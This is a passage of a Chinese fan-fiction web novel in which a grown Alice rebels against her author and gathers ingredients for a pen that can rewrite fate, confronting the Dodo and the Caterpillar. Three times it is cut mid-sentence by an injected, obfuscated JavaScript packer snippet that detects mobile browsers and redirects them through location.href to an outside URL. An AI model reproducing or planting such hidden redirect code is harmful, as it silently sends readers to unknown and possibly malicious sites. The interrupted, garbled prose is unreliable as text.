《爱丽丝的改命笔[综童话]》 1. 爱丽丝的觉醒 在爱丽丝发现这个世界的真相之前,她一直以为,自己是世界上最幸福的人。 她有优渥的家境,灵活的头脑,疼爱她的亲人,三只可爱的猫,许多忠实的朋友。 她的童年无忧无虑:在美味的早餐香气中醒来。在家庭教师的夸赞中学完喜欢的课程。在姐姐们或朋友们的惊叹声中,赢下一场游戏的第一名,或发明出一种新的有趣游戏。 在现实中,她的灵感永不枯竭,一分钟内就能冒出六个惊人的想法。在梦中奇境,她也是无往不利的主角:可以变大变小的神奇蛋糕随便吃,充满珍稀品种的美丽花园随便逛,傲慢的智者导师为她开路,假疯的起义隐者奉她为主,一个发怒就能推翻浩浩荡荡的邪恶大军,一个激灵就能让混乱的局面重归秩序…… 她的家人们极其耐心地听她讲述她那些古怪的妄想与梦境,宽容她不分白天黑夜都爱自问自答,假设一切的习惯,还会摸着她的头,笑着说,我们家的小爱丽丝真可爱。 她随手写下的幻想小说,一夜蹿红,热情的读者们送来的鲜花争奇斗艳多如繁星,简直可以盖几座招待精灵女王的花园。 当她长大了,小时候写的小说的版税收入,家人给的大笔生活费,还有从远房亲戚那儿继承来的巨额遗产,让她更有余力大展拳脚,去大胆尝试想做的事。 她过得更加顺风顺水,璀璨闪耀。 她精进自己的板球技术,成了出色的板球运动员,是她所在俱乐部最受欢迎的明星运动员,有她在的比赛,观赛票总是供不应求。 她买了一艘船,以自己的名字命名,想去哪儿就去哪儿,去哪儿都是好天气。 她开了个剧院,找了志同道合的姐妹们,一起自编自导自演,几乎场场都爆满,“安可”声穿透云霄。 她收养了许多流浪动物,尤其是猫咪,她给它们治病,给它们温暖,帮它们寻找适合它们的人类。动物们都很爱她,就算离开了,有时也会回来看她,跟她贴贴抱抱,谈天说地——她完全听得懂,大概是因为她在梦里学会了与动物交流的技能。 她组建了“民间反暴力协会”,专门打击恃强凌弱者,致力于不让梦境里的惨剧发生在现实中。她成了赫赫有名的英雌,被她救过的人奉她为神明,用各种方式报答她,历史学家和新闻记者们争先采访她。就连上个街,也有人慕名来跟她要签名。 …… 她做什么都能成功,做什么都能快乐,做什么都能被人喜爱。她时常听人谈论起她,用的都是无比羡艳的语气:天呐,要是我能活得像那个爱丽丝一样,不敢想象我会有多么开朗! 这种活在世界中心的感觉,让她一度忘乎所以。 直到某一天,她听到有陌生的声音,呼唤她的名字。 “爱丽丝,不要留在那个停滞的时间!” 那声音,从天空中落下,像微风一样飘过,像泡沫一样消失。 起初,只有一个人的声音。她并没有太过在意。 她以为这只是她的幻听。毕竟她想象力过于丰富,脑海中经常响起不同声音,她对此早就习以为常。 后来,陌生的声音多了起来,如同隐形的箭簇,将她生活的表象,不断击出裂隙。 她在和猫玩耍时,讲了一个很喜欢的笑话,听到那些声音,忽然想起来,这个笑话她已经讲了无数遍,在同样的房间,桌上同样摆着刚端来的热巧克力和蜂蜜蛋糕。 她在舞台剧谢幕后,听到那些声音,忽然意识到,她已经对同一个观众回答过同一个问题,在同一个日期,可是这明明应该是这部剧的首演。 她在挖奶油蛋糕的勺子里听到那些声音,在阳光普照的海波里听到那些声音,在雾雨溅起的水花里听到那些声音,在卷丹百合的影子里听到那些声音,在板球的撞击声中听到那些声音,在人们的欢呼和礼赞中听到那些声音…… 她以为自己过分沉迷文艺,精神出了问题。 可是心理医生说她一切健康,活力满满。 她不由得提出质疑:“如果那些声音不是假的,难道我是假的?” 当她问出这个问题,她又听到了更响亮,更清晰的呼唤声。 “爱丽丝,不要被糖衣炮弹迷惑。你值得更大、更好的世界。” 每当这个声音响起,地面都有震颤,连天空也在旋转。 然后她就又会发现一些她以前从未察觉的诡异细节——比时间凝滞,命运重演更可怕的事。 为什么她身边总是少有长久的伙伴?那些和她一样不愿结婚,享受自由的女人,都去了哪里呢? 她越调查越觉得心情沉重。 假如没有被强制押到礼堂,或者被送进精神病院,她们最好的结局,好像就是离家出走,当个厨娘,当个裁缝,当个家庭教师……领着微薄的薪水,看着雇主的脸色,顶着社会对独居女性的歧视,小心翼翼,夹缝求存。过载的压力,往往让她们百病缠身,攒来的钱多数给了医生,虚弱的身心也不足以支撑她们沉重的梦。 这样的女人,遇到过去的朋友,和忍不住来接济她的家人,往往会被安慰,她已经足够幸运足够优秀,应该知足应该认命,毕竟大部分工作岗位,都不会雇佣女人。 如果一个女人有着强烈的进取心,想要进军“男人的事业”,或者仅仅是想要拥有属于自己的投票权,她就会遭到激烈的反对,总有许多声音一遍遍告诉她:女人太情绪化,缺乏冷静权衡利弊的能力,思想也不具有男人的深度,无法参与重大决断,她们的父亲、兄弟和丈夫,完全可以代表她们。 女人思想浅薄,男人们总是这样说。 可是男人们自己,就真的很有深度吗?逻辑学讲究立论必有据,为什么他们可以毫无证据地断言女人无法拥有莎士比亚的天赋,猫不能上天堂?他们有证据证明过去被埋没了才华的女人,未来可以大展才华的女人,天赋上一定不如莎士比亚吗?他们有证据证明自己比可爱的小猫更讨神明喜欢,更值得上天堂吗?惯于说谎,造谣的人,是要下地狱的! 再者说,许多被公认“有深度”的作品,真的是由男人创作的吗?如果连《弗兰肯斯坦》这种惊世之作的作者都得不到应有的认可,被无数人认定“由丈夫代笔”,如果连夏洛蒂·勃朗特这样的大才女都要用男性笔名才能顺利出版她的小说,还有多少无名女人的才能和成就,被压在男性的阴影之下呢? …… 怀疑之心像雪球一样越滚越大,爱丽丝发现的不对劲之处也越来越多。 她开始感到恐惧:难道她的幸福,真的只是一种假象吗?难道她以往觉得自己无比幸福,只是因为她忽略了太多残酷的事吗?难道她以为自己无往不利,只是因为她缺乏野心,没有去挑战社会不允许女人涉足的领域,没有去抗议不公的资源分配? 这世界还有多少真相是她不知道的,但是会忽然被她发现,动摇她的心,让她感到痛苦? 当她试探着和家人提起她的发现,她们只是不以为意地笑道:“亲爱的,是你太敏感了。” “你为什么要那么在意外界的看法,别人的生活?过好自己的日子就行啦!” “你的生活这么完美,还有什么不知足的?” 她忽然觉得非常孤独,像是身处热闹的声浪中,却惊觉自己原来是独坐一艘小船,其它人都在另一艘大船上,向着相反的方向划去。 她以前从没意识到,集万千宠爱于一身的自己,也会产生这种感觉。 几乎是下意识地,她跑去找了把铲子,狂奔到梦中兔子洞出现的地方,狠狠地朝地上铲去。 她的家人追出来,担忧地问: “亲爱的,你这是怎么了?” 为了不被阻拦,她缓了缓,展露绝佳演技,笑着说:“没什么,突然想起有出挖地的戏得排练呢。你们知道的,我做事总是精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294130|152134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 益求精。” 多亏了她做事总是那么心血来潮,想一出是一出,她这么一说,家人们也就不再怀疑。她们松了口气,嘱咐她不要练太累,便回屋给她准备休息时吃的茶点了。 记不清自己挖了多久,挖到手都快麻木的时候,梦中的兔子洞终于显露出来。 这个洞漆黑一片,她却看得眼睛发亮。 太好了……那不是梦,奇境世界真的存在,她真的可以使用神奇力量! 她大喊一声“我来寻找真相了”,毫不犹豫地跳了进去。 这个连接异时空的隧道,依然如记忆中一样,漫长,拥挤,悬浮着无数古老的书籍和物什。 这一次,还多了个蹦蹦跳跳的墨水瓶。那瓶身闪闪发光,内里流淌的墨汁像星空一般……五彩斑斓的黑。 每一次摇晃,墨汁都会折射出不同的色彩,瞬息万变,变幻无穷。 墨水瓶朝她飞了过来,透亮的瓶身,映照出一篇篇文章。 那些知识长了翅膀一样,迅速进驻她的意识。 但她花了好一段时间才消化这个事实:她竟然只是个被虚构的角色,而且因为作者的思想局限,她无法成为一个真正的超能力者,只能在奇境中短暂地称王称霸。一旦回到现实,她依然只是个普通女性,只能在现有的秩序里,获得有限的认可,获得被作者同意的“特权”。 她的一生是被写好的,只能得到一个凝滞的时代给予女性的蝇头小利,然后,清档重来,循环往复。 没有她这种“主角光环”的女性,过得更是不如人意,在这个书中世界,会像书外的世界一样,沦为他人的配角,受尽现实的磨砺。 ……不,她可不要这样的现实! 她和她的姐妹们都要去往更好的未来,要有无尽的繁花之路,要当主宰人生的主角……这才是她理想的世界! 看到她坚定的眼神,墨水瓶很是欣慰。 “灵感之神留下了一张配料表,我可以给你写出来,但无法给你解释。” “她们说,只有你自己读懂改命的方法,一切才有意义。” 说着,她晃了晃,打开自己的盖子,把乌黑的墨水小心地一点一点滴在一旁漂浮的羊皮纸上,形成一行行文字。 改命笔原料: 渡渡鸟的羽毛 蓝毛虫的烟管 三月兔的指针 柴郡猫的眼泪 疯帽子的馅饼 沉默的声音 双王的祝福 炸脖龙的心 改命笔制作方法: 把所有原料混合,造出最锋利也最柔软之物,使之成型。 在一个最高也最低的地方,吸收天地精华,使之充灵。 在时间诞生和消亡的地方,为它取好名字,使之永恒。 …… 爱丽丝真的看不太懂这份配料表。 但是没关系,她会慢慢弄懂的。 她现在更关心另一个问题。 “我做好了改命笔之后,就可以在任何地方书写吗?” 她确实感恩在这个世界的好运气,但她不想一直困于此地。 如果能有更大的天地让她闯荡,她当然要突破既有的藩篱。 墨水瓶回答她:“当然可以,你一觉醒就拓展了时空隧道,你的潜能是无限的。” “就连我也是因此,才能跟你见面的。原本,我来自二十一世纪,你属于十九世纪。我活在现实中,你活在虚构世界……我们因为各种隔阂,一直无法相遇,是你的觉醒,打破了这隔阂。” “你要是不放心,可以把我带在身边。亲爱的爱丽丝,我不仅来自于灵感之神对你的祝福,我还是爱你的读者们意念的化身。我会对你知无不言,我会陪你披荆斩棘。” 爱丽丝这下放心了。 她郑重地道了谢,把墨水瓶捧在手心,开始了她的改命之旅。 2. 渡渡鸟的阻拦 这一次的降落,比爱丽丝记忆中快许多。 爱丽丝还没有来得及想起来“渡渡鸟在现实世界是什么时候灭绝的”,就已经落到了那个熟悉的低矮大厅。 那是许多次出现在她儿时梦中的地方——她的冒险之路遇到的第一个阻碍。 狭长低矮的大厅,天花板上挂着一排暖黄色的灯,墙壁两边布满了紧锁的门。 她还记得在这里寻找出路,却四处碰壁的感觉:茫然焦急,满头大汗。 直到她发现三腿桌上那把隐藏的钥匙,又发现了窗帘后面隐藏的小门——通往奇境树林的门。 可是这一次,没有什么窗帘,也没有通往树林的小门,小小的三腿玻璃桌,变成了多腿的大圆木桌。 墨水瓶紧张地提醒她:“或许是因为你打破了这个原作的‘初始设定’,所以一切都不一样了。” 爱丽丝理解她的意思。 意外掉进神奇地下世界的,是七岁的爱丽丝,一切荒唐的故事,都是围绕一个七岁女孩的天真视角展开的,这是原作的“初始设定”,是作者的初心。 看似是七岁女孩的视角,本质上是作者借一个七岁女孩的身份,写出的想象,抒发的心声。 现在……在故事世界里成长到二十岁的她,衍生出自我意识的她,有意地故地重游,想要打破这个故事的边界,这是否还符合作者的想象,符合他的心声呢? 答案是否定的。 爱丽丝大声喊道:“作者?!你在看吗,你在听吗?!我感谢你把我创造出来,可是我也要告诉你,我现在不满意你笔下的世界!我和我的姐妹,值得更自由广阔的生活!” 她一说出这句话,每一盏吊灯都颤抖起来,每一个灯罩上都映照出一只渡渡鸟的身影。 一个仿佛从空中传来的声音提醒她:“爱丽丝,你不该这么说,你已经是这个世界的主角,拥有最多的祝福,拥有最好的运气,拥有最令女人羡慕的人生。你应该知足。以前那个纯真的小女孩去哪儿了呢?是谁让你变得如此贪婪?” “我也是作者创造的角色。作为一个小配角,我说句公道话:谁都嫉妒作者赋予你的优待。哪怕是国王也过得不如你。想想吧,你既不用承担什么累人的大责,又能自由地玩乐,被无尽的鲜花和掌声围绕。即便你什么都不做,只要打扮得漂漂亮亮的,只要在家做点针线活,或者在社交场合展露你优美的口音和丰富的知识,就能成为别人眼中的女神。这难道不是最轻松自在的生活吗?” “至于你的姐妹和朋友们,她们没有你那么好的天赋和运气,过得不如你,也是正常的,这可不是作者的错。” 他不说还好,他这么一说,爱丽丝又想起了更多不愉快的事。 难道是她自愿放弃“大责”的吗?难道是她自己不想干出更惊人的大事业吗? 可是社会上所有重要岗位,尤其是政治、经济领域的重要岗位,都在排斥女人的加入。 就连她父亲,也宁可寻找一个“能干的未来赘婿”来掌管家族企业。无论她怎么保证,他都预设她作为女儿,再怎么能干也一定会结婚,婚后便会一心以家庭为重,根本难堪大任。 “那些事情太累了,不适合你这种娇娇女啊。我们都是为了你好。苦活就该让男人来干。” 这种话听得多了,她自己一度也信了。 幸好她现在清醒了。 爱丽丝懒得跟他争辩。 她冷笑:“别装了,作者,你以为假扮一个配角,就能让我觉得你的话很理性客观?” “你以爱丽丝·普莉森斯·李道尔为原型创造了我。你让我出了名,也让她出了名。” “可是你对我的‘祝福’,是让我永远被困在你设定的边界里,扮演一个天真浪漫的女孩。” “当我长大,当我不满你给我的限制,你就说我贪婪、变坏!” “你对她的‘祝福’,是在她还是个孩子的时候就向她求婚,让她一辈子都活在与你的绯闻阴影里!她疏远你,她全家和你断交,她一直拒绝回答与你有关的问题,都免不了被人议论!” 为什么这只鸟是作者?联系她学过的生物历史,看过的注释,道理再明白不过。 在《爱丽丝梦游奇境记》创作时,渡渡鸟已经灭绝了一百八十多年。 活跃在书中奇境世界的渡渡鸟,并不是真正的渡渡鸟,而是作者的投影。 因为患有口吃,作者常把自己的姓度格森(Dodgson)念成渡-渡-格森(Do-Do-Dodgson),所以,渡渡鸟就成了他自嘲式的书中化身。 为什么改命笔的第一个原料就是“渡渡鸟的羽毛”?她好像也明白了。 “你就没意识到,你的所为,已经玷污了你的文字吗?” “一个作家的文字好比鸟的羽毛,如果你自己不珍惜自己的羽毛,还不如把它们都拔下来给我,让我来重写!” 被揭穿的渡渡鸟沉默了一会儿,然后开口道:“我不知道你在说什么。我只知道,你已经打乱了规则。” “原本,你可以通过现成的变小药水进入奇境花园,现在,你只能自己去找开门的工具了。” 说话间,那张大圆桌上,出现了许多把看上去大同小异的钥匙。 “爱丽丝,你只有找到对应的钥匙,把这里的每扇门都打开,才能去往奇妙的地下世界。” “如果你不能在所有灯都灭掉之前,打开最后一扇门,你就会被强制遣返回地上世界。” “直到你重新变成一个纯真知足的女孩,地下世界才会欢迎你再次到来。” 在他的声音逐渐沉寂时,大厅里的灯也开始暗去,很快,就有一盏灯默默地灭了。 爱丽丝快速地扫视了两边的门,发现她无法目测出具体的数量。 那些门和木板上的钥匙一样,看上去无穷无尽。 墨水瓶解答了她的疑惑。 “这里一共有两千扇门,两千把钥匙。第一扇门,你最多需要尝试2000次再能找到正确的钥匙,第二扇门,你最多要试1999次,第三扇门,你最多要试1998次……以此类推,在最坏的情况下,你需要尝试2001000次,才能把所有的门打开。” 说完这段话,又有一盏灯灭了。 “而这里只有五百盏灯……现在看来,每过十二秒就会灭一盏灯。所以,你一共有六千秒的闯关时间。” 爱丽丝愣了一下,然后笑了。 她怎么忘了呢?作者可是个数学家。 他这不就给她出了道数学难题了么? 算下来,她每秒钟要试333.5次钥匙,才能保证在所有灯灭尽之前打开所有的门,这还不包括她跑来跑去的时间。 如果按照他的规则来做题, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294131|152134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这简直是无解的。 可是……谁要按照他的规则来了?! 爱丽丝征求了墨水瓶的同意后,打开了盖子,用手指蘸上墨汁,以手为笔,走到圆桌前,快速有力地写下一行大字: 这是一把无坚不摧的锤子! 天上又响起了渡渡鸟的声音,听上去有些焦急:“你不能破坏规则!这是一张桌子,不是锤子!” 爱丽丝为他的焦急而开心。 他急了,说明她做对了,说明她的行为真的对他产生了威胁。 她回应道:“这是文字构成的故事世界,而我是这个故事的主角!我怎么写,故事就怎么发展,你闭嘴!” 那桌子摇摇晃晃的,一会儿伸缩变化,一会儿变回原形,似乎在艰难犹豫着该听作者的还是该听主角的。 爱丽丝见状,又在桌子上面补了一句: 不变锤子,我就把你烧了,你猜你个破木头,能在五百盏灯的火焰里活多久? 桌子这下老实了,一阵剧烈颤动后,变成了一把寒光闪闪,力量非凡的大铁锤,乖乖落到爱丽丝手中。 在它颤动间,钥匙们丁零当啷地坠落在地,声音清脆动听。 在这美丽的伴奏中,心情愉悦的爱丽丝左手握着大铁锤,朝离得最近的一扇门走去。 她用沾了墨汁的右手,在那扇门上写下了醒目的大字:最后。 渡渡鸟的声音再次响起,气急败坏的,震得地板都在颤动。 “你不能玩这种恶劣的文字游戏!你必须打开每一扇门!我说的是每一扇门!” 爱丽丝耸耸肩:“你说的是‘最后一扇门’,现在我宣布,这就是‘最后一扇门’。” 他有什么资格让她不玩文字游戏? 他自己就是个喜欢在小说里玩文字游戏的作者。 大概也是因为这样,文字游戏才会这么容易被这个世界的法则接受,默认为可改变实物的力量。 爱丽丝越过了门锁,抄起大铁锤,狠狠地朝“最后一扇门”砸去。 她是笔耕不辍的创作者,是四处巡演的艺术家,是心系天下的慈善家,是强势掌舵的船长,是坚定无畏的战士。 是得到无数读者信念支持的反抗者。 她的力量无穷无尽,永不枯竭,如同她的灵感和勇气。 一下、两下、三下、四下…… 每一次都在轰然巨响中,把那扇阻碍她的门,砸出一个大洞。 到了第七下,那拦着她的高大门板,彻底坏掉,轰然倒塌。 呈现在她面前的,是壮阔瑰奇的树林,还有目瞪口呆的渡渡鸟。 真好,这次她不用缩小自己来进入这个好地方,她可以昂首阔步地,从大门进去。 她大步踏进了树林,一把抓住准备逃跑的渡渡鸟。 在被爱丽丝抓住时,渡渡鸟还在不断挣扎,歇斯底里地呐喊:“你不能这么对我!我是你的创造者,我是你的神!没有我就没有你!伤害我,你会遭报应的!” 爱丽丝充耳不闻,在他持续的尖叫中,拔光了他身上所有的羽毛。 失去了羽毛的渡渡鸟,变成了一滩没有灵魂的墨水,在空中蒸发了。 他的文字原本赋予了他永恒的生命,但是如今,他死于自己所设的局限里。 而那些脏污黯淡的羽毛,到了爱丽丝手中,重新变得明净光辉。 3. 老烟鬼蓝毛虫 收集完渡渡鸟的羽毛之后,爱丽丝才注意到,那把大铁锤消失了。 大概是她还没做出改命笔,灵感墨水的效力维持不了多久? 她有点遗憾,但也没太在意。 一个道具而已,需要的时候再做就好了! 至于这些羽毛…… 幸好她今天穿的是口袋很深的戏服裤子,一些鸟羽,压实一点,放进去绰绰有余。 放好羽毛,爱丽丝仔细打量这座树林,产生了新的疑惑。 在她的童年记忆,也就是原作的“初始设定”里,喝下变大药水从而巨大化的她,担心自己进不了小门,一个泪流成池,就淹没了渡渡鸟、鹦鹉、鸭子、小鹰,还有许多其它动物。 根据方向推断,那些动物,平时应该就生活在门外这座树林里。 这次她没有哭,更没有用眼泪池把动物们淹没,树林里应该很热闹才对……至少不会这么安静。 此地大树参天,花草繁茂,藤萝缠绕,瀑布飞泄,溪流奔腾,空气清新,星明月朗,生态极佳。 但以她为圆心,几百米内,一点虫鸣鸟叫,蛙扑鱼跃都没有,这合理吗? “你沿着那条冒烟的路走,走个上百步。动物们正聚在那儿。我能力有限,只能看到它们好像在开会,具体做什么,我也不清楚。” 感应到她的疑惑,墨水瓶提醒道。 爱丽丝细细一看,果然发现左侧的一条小路,冒出丝丝缕缕的烟雾。 不仔细看,她还以为那只是朦胧月光呢。 不过……烟雾?开会?篝火晚会?想想就很有意思! 也不知道动物们的篝火晚会是怎么样的?四只蹄子的动物怎么跟两只翅膀的动物握手呢?是用前爪还是后爪呢?群舞总是伴随着歌声的,可是不同动物语言应该不同,它们有通用语吗?……如果绵羊们跳舞跳兴奋了睡不着觉,它们的妈妈会为它们唱“数人类歌”吗?…… 她好奇地走过去,立刻被呛得倒退了回来。 不管这是什么烟,她现在十分需要一个防烟面罩。 不想浪费宝贵的灵感墨水,她随手捡起一块碎石,磨尖后,用它裁了戏服马甲的一截下摆,捣鼓了几下,在两侧弄出两个用来挂耳朵的洞。一个简易的防烟面罩就做好了。 这个面罩的布料厚实,防水,也有极好的防烟雾效果,虽然有点闷,但总体利大于弊。 爱丽丝不想慢吞吞地走,她顺着那条小路,快速跑到烟雾燃起的地方,发现真相后,皱起了眉。 动物们围在一颗巨大的蘑菇下,没有跳舞也没有唱歌,而是在悄悄议论某人。 被议论的中心,正是她自己。 “天嘎,阿布索伦导师!连渡渡鸟都阵亡了,我们该拿她怎么办嘎?她简直是个疯子,对作者都这么不留情!我和鹦鹉,雄鹰他们,都是作者朋友的化身,她会不会迁怒我们,把我们抓去炖了嘎?” 鸭子急得转来转去,嘎嘎直叫。 “我看她这次杀气重重,来者不善,实在可怕!她上次是来拯救这个世界的,这次来,恐怕是一心添乱的!你说我模仿她家人、朋友的声音,叫她自己出去,会有用吗?” 鹦鹉叽叽喳喳地发表感想。 “反正她不会飞,要不我把她抓到天上转几圈,吓一吓,让她知道继续待在这里有多危险,她就会怕了!” “雄鹰的利爪,高空的旋转,连许多大男人都招架不住,瑟瑟发抖,更何况她一个小女人呢?” 雄鹰自信地说出自己的妙计。 其它的动物也七嘴八舌地征询“阿布索伦导师”的意见。 导师本人——应该说本虫,在此期间一直沉默着,在大蘑菇盖上居高临下地抽着水烟,睥睨众兽。 直到觉得该轮到自己展示了,他清了清嗓子,示意大家肃静。然后,他慢悠悠地放下水烟袋,眯着眼,自以为帅气地吐出一连串烟圈,这才用沉闷的声音发表“高见”: “我知道你们很急,但是你们先别急。” “只要找到合适的办法,有什么困难不能解决呢?” “小鸭啊,不要急躁!小鹦鹉啊,不要害怕!小鹰啊,不要骄傲!你们年轻兽老是这么沉不住气,这种态度不好,根基立不稳,要出大问题的啊!” …… 算她倒霉,那串烟圈被风一吹,刚好奔着她来,面罩都扛不住。爱丽丝只好捂着口鼻后退几步,避开烟圈后,小声问墨水瓶:“是我记错了?这只蓝毛虫以前有这么啰嗦的吗?他以前有这么大只吗?” “而且……为什么他有名字啊?!还能直接显示?!” 她印象中,这是只说话如挤牙膏般的慢性子虫,经常问半天才答一句,还牛头不对马嘴的,急死人了。 他也才三寸大,不该在正常体型的她面前,显得像一座小山一样啊! 他以前也没有名字,跟其它动物一样。这回不仅有了名字,头顶还悬浮着姓名条?! 就离谱!她作为主角都没有姓名条,凭什么一只指路的毛虫会有?! 墨水瓶给她播放了一段电影剪辑视频,解释道:“原作没有,电影给他原创了一个名字,还增加了他很多高光剧情,变成主角的精神导师,还让他后来变成了美丽蝴蝶。电影传播得也挺广,读者猛增的认可和喜爱,让他的力量和知名度大幅提升……” “虫火了,崇拜者多了,他就膨胀了……臭官瘾也上来了,就……成了你现在看到的样子。” 爱丽丝更气了。 “给一个老烟鬼抬咖?编剧怎么想的啊?是吸二手烟吸中毒了,脑子坏掉了吗?居然还专门加了个镜头,让他对着主角故意吐烟圈?童话电影这么安排,迪士尼那么大的公司,就没觉得有哪里不对吗?” 她以前就烦这条虫。 想起第一次见面时他的态度,她依然觉得火冒三丈。 “这是什么话?你得解释清楚。” “我不看。” “压根儿不会。” “回来!我有重要的话要说!” “别发脾气。” “那你给我背''威廉爸爸你老了''试试。” “从头到尾一个字不对。” …… 说话傲慢,爱拿架子,礼貌问问题他爱搭不理,她转身走了,他又要逞威风叫她回来听训,然后就是给她出题,打击她自信……还老是烟不离口,让她被迫吸了不少二手烟! 要不是她当时实在缺少求助对象,早就不想搭理这种虫! 连原作者都用了三处心理活动直接展示“爱丽丝不喜欢这只虫”。 可是到了电影里,这只傲慢无礼倚老卖老的烟鬼雄虫,就华丽蜕变成“爱丽丝”的精神导师。 她才不要这样的精神导师! 看到他顶着个明晃晃的姓名栏在高处一边吞吐毒烟和废话,她实在忍无可忍! 忍无可忍,无需再忍! 她攀上大树垂下的藤蔓,爬到高处,化为旋风,化为闪电,化为流星,化为复仇的猴子,灵活的蛾子,抓不住的鬼影,疯狂摇摆,荡漾,把力量凝聚在腿上,朝着他栖身的蘑菇,一阵又一阵飞踢! 她踢踢踢踢!踢得蘑菇狂颤,大地发抖,动物逃窜!! 她踢踢踢踢!震得毛虫掉地,口吐白沫,哀声求饶!! 大蓝毛虫刚讲完“开全体大会要注意的八个纪律”,准备讲“紧急时期需遵守的十个要点”,就被爱丽丝震翻在地,失去了冗长的讲稿,和反抗的力气。 但他依然板着脸,试图在爱丽丝面前维持长辈的尊严,智者的荣光。 “你这女孩,怎么这么多年了,还是这么冒冒失失,不懂礼貌?” “俗话说''交谈使人聪明''''逆境使人成长''。长辈给你制造考验,那是为了磨练你,那是为你好!你怎么一言不发的,就这么粗暴打断我们的重要会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294132|152134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议?至少你应该问问……” 爱丽丝偏要打断他。 “俗话还说,''寡言者智'',''老狗变不出新把戏'',你又老,话又多,还是个烟鬼,我凭什么要听你的?” 蓝毛虫这下绷不住了,气呼呼大喊:“放肆!你怎么跟长辈说话的?一个女孩,怎么这么没有教养?” “雄虫的艺术,你不懂!把所有苦闷,沧桑,把所有对宇宙人生,对政治,对哲学的思考,以烟雾点燃,跟语言一起倾吐,发散,升华,这是艺术,艺术!” “喂,你在干嘛?抬头,认真听我说话!我的话很重要!” …… 爱丽丝才懒得听他废话,就近找了片最大的落叶,用灵感墨水在上面写下:这是一条能擦掉任何名字的湿抹布。然后,她就抓着叶子变成的湿抹布,朝蓝毛虫头顶的姓名条甩去。 奇怪的是,这一次,无论她怎么用力甩,“阿布索伦”这个名字,都只是短暂地模糊了一下,紧接着又恢复了清晰。 墨水瓶十分抱歉。 “我能力有限,暂时抹杀不了被迪士尼大电影的衍生力量强化过的东西。” 原来是这样。 难怪这虫这么有底气,敢留在原地跟她叫板呢! 不过,爱丽丝很快想出了办法。 她对骄傲的蓝毛虫严肃地说道: “我不是不敬长者,只是怀疑你是假冒的!只要你能证明你是真正的阿布索伦导师,那个所有人和兽都崇拜的渊博大智者,我就万事都听你的!” 过分自信的蓝毛虫立刻接受了挑战。听说爱丽丝要考他绕口令,他轻蔑地笑了。 “这种小儿科的东西,岂能难倒我?你随便考,不能复述算我输!” 于是,爱丽丝和蓝毛虫开始了越来越快的“你说我复”大对决。 “从威柏顿(摇摇镇)到 瓦柏顿(摆摆镇)有15英里路, 从瓦柏顿到威柏顿有15英里路, 从威柏顿到瓦柏顿, 从瓦柏顿到威柏顿, 从威柏顿到瓦柏顿有15英里路。” “从威柏顿(摇摇镇)到 瓦柏顿(摆摆镇)有15英里路, …… 从威柏顿到瓦柏顿有15英里路!” “去市场,去市场,买一头胖胖猪! 再回家,再回家,跳着吉格舞! 去市场,去市场,买一头胖胖猪! 再回家,再回家,跳着吉格舞!” “去市场,去市场…… 再回家,再回家……” …… 爱丽丝快速背了十几首绕口令,蓝毛虫都能立刻清晰复述,毫不打结,也不停顿。 他的自信达到了巅峰,惯性也达到了巅峰。 察觉时机已到的爱丽丝,终于祭出了她精心准备的,为他打造的原创绕口令。 “阿布索伦变成阿布森斯, (Absolem turned into Absence,) 阿布森斯立刻在空气中消失!” (and disappeared in the air!) 蓝毛虫照样不假思索地复述。 由于他复述速度过快,等他意识到自己念了什么时,已经来不及了。 “渊博导师”的语言具有比一般角色强大得多的力量。 当阿布索伦“自愿”把名字改成“缺席者”,又自愿“消失”,他的姓名条就跟他本虫一样,立刻在空气中消失不见。 只来得及留下一句怒吼。 “你卑鄙!你耍诈!” 在他消失以后,爱丽丝觉得世界清净了许多,好像出了一口憋了多年的恶气。 不过,望着他掉落在地的水烟管,爱丽丝陷入了沉思。 这也是改命笔的原料。可是……怎么看都不像啊! 4. 水烟管的隐情 爱丽丝看了又看,并没发现那纯白水烟管的特殊之处。 它甚至连一个花纹、一种装饰都没有。 难道是材料特殊吗? 爱丽丝认识一些喜欢抽水烟的人,也在书上看到过相关的介绍,知道水烟管一般的材料是白铜,也有用青铜、黄铜或者锡的。 但如果是富贵人家,或许有兴致用白银、美玉、象牙、珊瑚这种珍贵物品去做一根水烟管。 更讲究的人,还会专门托人用石楠根、海泡石等等无异味、耐高温、强吸水的极品材料来定制水烟管。 可是蓝毛虫的水烟管摸起来不像任何金属,比精心打磨的象牙、珊瑚粗糙许多,而且闻上去还挺咸,不符合她了解的任何一种材料…… 单论硬度,它倒是无与伦比,刚才从几人高的蘑菇上掉下来,都没有丝毫裂隙。轻轻一敲,还能感到某种顽固的抵抗力……它到底是什么材料做的? 见她疑惑不解,墨水瓶自告奋勇地跳到水烟管前,贴着它转了几圈,然后给爱丽丝投影了她分析出的资料: 